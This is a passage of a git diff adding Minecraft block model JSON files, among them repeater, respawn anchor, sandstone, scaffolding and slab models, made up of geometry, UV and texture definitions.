}, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_4tick.json b/src/assets/minecraft/models/block/repeater_4tick.json new file mode 100644 index 00000000..a708a44f --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_4tick.json @@ -0,0 +1,44 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 2, 12 ], + "to": [ 9, 7, 14 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_4tick_locked.json b/src/assets/minecraft/models/block/repeater_4tick_locked.json new file mode 100644 index 00000000..fac32c88 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_4tick_locked.json @@ -0,0 +1,45 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater", + "slab": "block/smooth_stone", + "top": "block/repeater", + "lock": "block/bedrock", + "unlit": "block/redstone_torch_off" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 12 ], + "to": [ 14, 4, 14 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_4tick_on.json b/src/assets/minecraft/models/block/repeater_4tick_on.json new file mode 100644 index 00000000..4e081aa8 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_4tick_on.json @@ -0,0 +1,62 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 7, 7, 12 ], + "to": [ 9, 7, 14 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 11 ], + "to": [ 9, 8, 15 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 12 ], + "to": [ 10, 8, 14 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeater_4tick_on_locked.json b/src/assets/minecraft/models/block/repeater_4tick_on_locked.json new file mode 100644 index 00000000..fcdd6448 --- /dev/null +++ b/src/assets/minecraft/models/block/repeater_4tick_on_locked.json @@ -0,0 +1,54 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/repeater_on", + "slab": "block/smooth_stone", + "top": "block/repeater_on", + "lit": "block/redstone_torch", + "lock": "block/bedrock" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 2, 2, 12 ], + "to": [ 14, 4, 14 ], + "faces": { + "down": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "up": { "uv": [ 7, 2, 9, 14 ], "texture": "#lock", "rotation": 90 }, + "north": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "south": { "uv": [ 2, 7, 14, 9 ], "texture": "#lock" }, + "west": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" }, + "east": { "uv": [ 6, 7, 8, 9 ], "texture": "#lock" } + } + }, + { "from": [ 7, 7, 2 ], + "to": [ 9, 7, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 8, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 8, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/repeating_command_block.json b/src/assets/minecraft/models/block/repeating_command_block.json new file mode 100644 index 00000000..2d0a3ff1 --- /dev/null +++ b/src/assets/minecraft/models/block/repeating_command_block.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_command_block", + "textures": { + "front": "minecraft:block/repeating_command_block_front", + "back": "minecraft:block/repeating_command_block_back", + "side": "minecraft:block/repeating_command_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/repeating_command_block_conditional.json b/src/assets/minecraft/models/block/repeating_command_block_conditional.json new file mode 100644 index 00000000..00d365f3 --- /dev/null +++ b/src/assets/minecraft/models/block/repeating_command_block_conditional.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_command_block", + "textures": { + "front": "minecraft:block/repeating_command_block_front", + "back": "minecraft:block/repeating_command_block_back", + "side": "minecraft:block/repeating_command_block_conditional" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/respawn_anchor_0.json b/src/assets/minecraft/models/block/respawn_anchor_0.json new file mode 100644 index 00000000..1e1beb69 --- /dev/null +++ b/src/assets/minecraft/models/block/respawn_anchor_0.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/respawn_anchor_top_off", + "bottom": "minecraft:block/respawn_anchor_bottom", + "side": "minecraft:block/respawn_anchor_side0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/respawn_anchor_1.json b/src/assets/minecraft/models/block/respawn_anchor_1.json new file mode 100644 index 00000000..1d374ba0 --- /dev/null +++ b/src/assets/minecraft/models/block/respawn_anchor_1.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/respawn_anchor_top", + "bottom": "minecraft:block/respawn_anchor_bottom", + "side": "minecraft:block/respawn_anchor_side1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/respawn_anchor_2.json b/src/assets/minecraft/models/block/respawn_anchor_2.json new file mode 100644 index 00000000..9bb73a3b --- /dev/null +++ b/src/assets/minecraft/models/block/respawn_anchor_2.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/respawn_anchor_top", + "bottom": "minecraft:block/respawn_anchor_bottom", + "side": "minecraft:block/respawn_anchor_side2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/respawn_anchor_3.json b/src/assets/minecraft/models/block/respawn_anchor_3.json new file mode 100644 index 00000000..1762fe02 --- /dev/null +++ b/src/assets/minecraft/models/block/respawn_anchor_3.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/respawn_anchor_top", + "bottom": "minecraft:block/respawn_anchor_bottom", + "side": "minecraft:block/respawn_anchor_side3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/respawn_anchor_4.json b/src/assets/minecraft/models/block/respawn_anchor_4.json new file mode 100644 index 00000000..658da9da --- /dev/null +++ b/src/assets/minecraft/models/block/respawn_anchor_4.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/respawn_anchor_top", + "bottom": "minecraft:block/respawn_anchor_bottom", + "side": "minecraft:block/respawn_anchor_side4" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/rose_bush_bottom.json b/src/assets/minecraft/models/block/rose_bush_bottom.json new file mode 100644 index 00000000..88116aa3 --- /dev/null +++ b/src/assets/minecraft/models/block/rose_bush_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/rose_bush_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/rose_bush_top.json b/src/assets/minecraft/models/block/rose_bush_top.json new file mode 100644 index 00000000..79066463 --- /dev/null +++ b/src/assets/minecraft/models/block/rose_bush_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/rose_bush_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sand.json b/src/assets/minecraft/models/block/sand.json new file mode 100644 index 00000000..b73935a3 --- /dev/null +++ b/src/assets/minecraft/models/block/sand.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/sand" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone.json b/src/assets/minecraft/models/block/sandstone.json new file mode 100644 index 00000000..2e71592d --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/sandstone_top", + "bottom": "minecraft:block/sandstone_bottom", + "side": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_slab.json b/src/assets/minecraft/models/block/sandstone_slab.json new file mode 100644 index 00000000..44fc0a91 --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/sandstone_bottom", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_slab_top.json b/src/assets/minecraft/models/block/sandstone_slab_top.json new file mode 100644 index 00000000..7b783683 --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/sandstone_bottom", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_stairs.json b/src/assets/minecraft/models/block/sandstone_stairs.json new file mode 100644 index 00000000..60f7d8c6 --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/sandstone_bottom", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_stairs_inner.json b/src/assets/minecraft/models/block/sandstone_stairs_inner.json new file mode 100644 index 00000000..7fb99e89 --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/sandstone_bottom", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_stairs_outer.json b/src/assets/minecraft/models/block/sandstone_stairs_outer.json new file mode 100644 index 00000000..faff0419 --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/sandstone_bottom", + "top": "minecraft:block/sandstone_top", + "side": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_wall_inventory.json b/src/assets/minecraft/models/block/sandstone_wall_inventory.json new file mode 100644 index 00000000..ab5aa55e --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_wall_post.json b/src/assets/minecraft/models/block/sandstone_wall_post.json new file mode 100644 index 00000000..edcb0e4e --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_wall_side.json b/src/assets/minecraft/models/block/sandstone_wall_side.json new file mode 100644 index 00000000..f195f7fb --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sandstone_wall_side_tall.json b/src/assets/minecraft/models/block/sandstone_wall_side_tall.json new file mode 100644 index 00000000..dc29097f --- /dev/null +++ b/src/assets/minecraft/models/block/sandstone_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/sandstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/scaffolding_stable.json b/src/assets/minecraft/models/block/scaffolding_stable.json new file mode 100644 index 00000000..bbcb6c4e --- /dev/null +++ b/src/assets/minecraft/models/block/scaffolding_stable.json @@ -0,0 +1,99 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/scaffolding_top", + "top": "block/scaffolding_top", + "side": "block/scaffolding_side", + "bottom": "block/scaffolding_bottom" + }, + "elements": [ + { + "from": [0, 15.99, 0], + "to": [16, 16, 16], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#top", "uv": [0, 16, 16, 0] } + } + }, + { + "from": [0, 0, 0], + "to": [2, 16, 2], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [0, 0, 14], + "to": [2, 16, 16], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [14, 0, 14], + "to": [16, 16, 16], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [14, 0, 0], + "to": [16, 16, 2], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [2, 14, 0], + "to": [14, 16, 2], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "uv": [2, 2, 14, 4] }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [2, 14, 14], + "to": [14, 16, 16], + "faces": { + "north": { "texture": "#side", "uv": [14, 0, 2, 2] }, + "south": { "texture": "#side", "cullface": "south" }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [14, 14, 2], + "to": [16, 16, 14], + "faces": { + "east": { "texture": "#side", "uv": [14, 0, 2, 2], "cullface": "east" }, + "west": { "texture": "#side", "uv": [14, 2, 2, 4] }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [0, 14, 2], + "to": [2, 16, 14], + "faces": { + "east": { "texture": "#side" }, + "west": { "texture": "#side", "uv": [14, 0, 2, 2], "cullface": "west" }, + "down": { "texture": "#bottom" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/scaffolding_unstable.json b/src/assets/minecraft/models/block/scaffolding_unstable.json new file mode 100644 index 00000000..f5d64e3c --- /dev/null +++ b/src/assets/minecraft/models/block/scaffolding_unstable.json @@ -0,0 +1,143 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/scaffolding_top", + "top": "block/scaffolding_top", + "side": "block/scaffolding_side", + "bottom": "block/scaffolding_bottom" + }, + "elements": [ + { + "from": [0, 15.99, 0], + "to": [16, 16, 16], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#top", "uv": [0, 16, 16, 0] } + } + }, + { + "from": [0, 0, 0], + "to": [2, 16, 2], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [0, 0, 14], + "to": [2, 16, 16], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [14, 0, 14], + "to": [16, 16, 16], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [14, 0, 0], + "to": [16, 16, 2], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [2, 14, 0], + "to": [14, 16, 2], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "uv": [2, 2, 14, 4] }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [2, 14, 14], + "to": [14, 16, 16], + "faces": { + "north": { "texture": "#side", "uv": [14, 0, 2, 2] }, + "south": { "texture": "#side", "cullface": "south" }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [14, 14, 2], + "to": [16, 16, 14], + "faces": { + "east": { "texture": "#side", "uv": [14, 0, 2, 2], "cullface": "east" }, + "west": { "texture": "#side", "uv": [14, 2, 2, 4] }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [0, 14, 2], + "to": [2, 16, 14], + "faces": { + "east": { "texture": "#side" }, + "west": { "texture": "#side", "uv": [14, 0, 2, 2], "cullface": "west" }, + "down": { "texture": "#bottom" } + } + }, + { + "from": [0, 1.99, 0], + "to": [16, 2, 16], + "faces": { + "up": { "texture": "#top"}, + "down": { "uv": [0, 16, 16, 0], "texture": "#top" } + } + }, + { + "from": [2, 0, 0], + "to": [14, 2, 2], + "faces": { + "north": { "texture": "#side", "uv": [2, 0, 14, 2] , "cullface": "north" }, + "south": { "texture": "#side", "uv": [2, 2, 14, 4] }, + "down": { "texture": "#bottom", "cullface": "bottom" } + } + }, + { + "from": [2, 0, 14], + "to": [14, 2, 16], + "faces": { + "north": { "texture": "#side", "uv": [14, 0, 2, 2] }, + "south": { "texture": "#side", "uv": [2, 0, 14, 2] , "cullface": "south" }, + "down": { "texture": "#bottom", "cullface": "bottom" } + } + }, + { + "from": [14, 0, 2], + "to": [16, 2, 14], + "faces": { + "east": { "texture": "#side", "uv": [14, 0, 2, 2], "cullface": "east"}, + "west": { "texture": "#side", "uv": [14, 2, 2, 4] }, + "down": { "texture": "#bottom", "cullface": "bottom" } + } + }, + { + "from": [0, 0, 2], + "to": [2, 2, 14], + "faces": { + "east": { "texture": "#side", "uv": [2, 0, 14, 2] }, + "west": { "texture": "#side", "uv": [14, 0, 2, 2], "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "bottom" } + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sea_lantern.json b/src/assets/minecraft/models/block/sea_lantern.json new file mode 100644 index 00000000..f7602b29 --- /dev/null +++ b/src/assets/minecraft/models/block/sea_lantern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/sea_lantern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/sea_pickle.json b/src/assets/minecraft/models/block/sea_pickle.json new file mode 100644 index 00000000..9c5a81ba --- /dev/null +++ b/src/assets/minecraft/models/block/sea_pickle.json @@ -0,0 +1,47 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/sea_pickle", + "all": "block/sea_pickle" + }, + "elements": [ + { "from": [ 6, 0, 6 ], + "to": [ 10, 6, 10 ], + "faces": { + "down": { "uv": [ 8, 1, 12, 5 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 4, 1, 8, 5 ], "texture": "#all" }, + "north": { "uv": [ 4, 5, 8, 11 ], "texture": "#all" }, + "south": { "uv": [ 0, 5, 4, 11 ], "texture": "#all" }, + "west": { "uv": [ 8, 5, 12, 11 ], "texture": "#all" }, + "east": { "uv": [ 12, 5, 16, 11 ], "texture": "#all" } + } + }, + { + "from": [ 6, 5.95, 6 ], + "to": [ 10, 5.95, 10 ], + "faces": { + "up": {"uv": [ 8, 1, 12, 5 ], "texture": "#all"} + } + }, + { + "from": [ 7.5, 5.2, 8 ], + "to": [ 8.5, 8.7, 8 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "north": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "south": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + }, + { + "from": [ 8, 5.2, 7.5 ], + "to": [ 8, 8.7, 8.5 ], + "rotation": { "origin": [ 8, 8, 8 ], "axis": "y", "angle": 45, "rescale": true }, + "shade": false, + "faces": { + "west": { "uv": [ 1, 0, 3, 5 ], "texture": "#all" }, + "east": { "uv": [ 13, 0, 15, 5 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/seagrass.json b/src/assets/minecraft/models/block/seagrass.json new file mode 100644 index 00000000..53c7a392 --- /dev/null +++ b/src/assets/minecraft/models/block/seagrass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_seagrass", + "textures": { + "texture": "minecraft:block/seagrass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/shroomlight.json b/src/assets/minecraft/models/block/shroomlight.json new file mode 100644 index 00000000..13f52aa3 --- /dev/null +++ b/src/assets/minecraft/models/block/shroomlight.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/shroomlight" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/shulker_box.json b/src/assets/minecraft/models/block/shulker_box.json new file mode 100644 index 00000000..7eb23421 --- /dev/null +++ b/src/assets/minecraft/models/block/shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/skull.json b/src/assets/minecraft/models/block/skull.json new file mode 100644 index 00000000..99a7d709 --- /dev/null +++ b/src/assets/minecraft/models/block/skull.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/soul_sand" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/slab.json b/src/assets/minecraft/models/block/slab.json new file mode 100644 index 00000000..1eadc701 --- /dev/null +++ b/src/assets/minecraft/models/block/slab.json @@ -0,0 +1,18 @@ +{ "parent": "block/block", + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 8, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/slab_top.json b/src/assets/minecraft/models/block/slab_top.json new file mode 100644 index 00000000..e21eb932 --- /dev/null +++ b/src/assets/minecraft/models/block/slab_top.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 8, 0 ], + "to": [ 16, 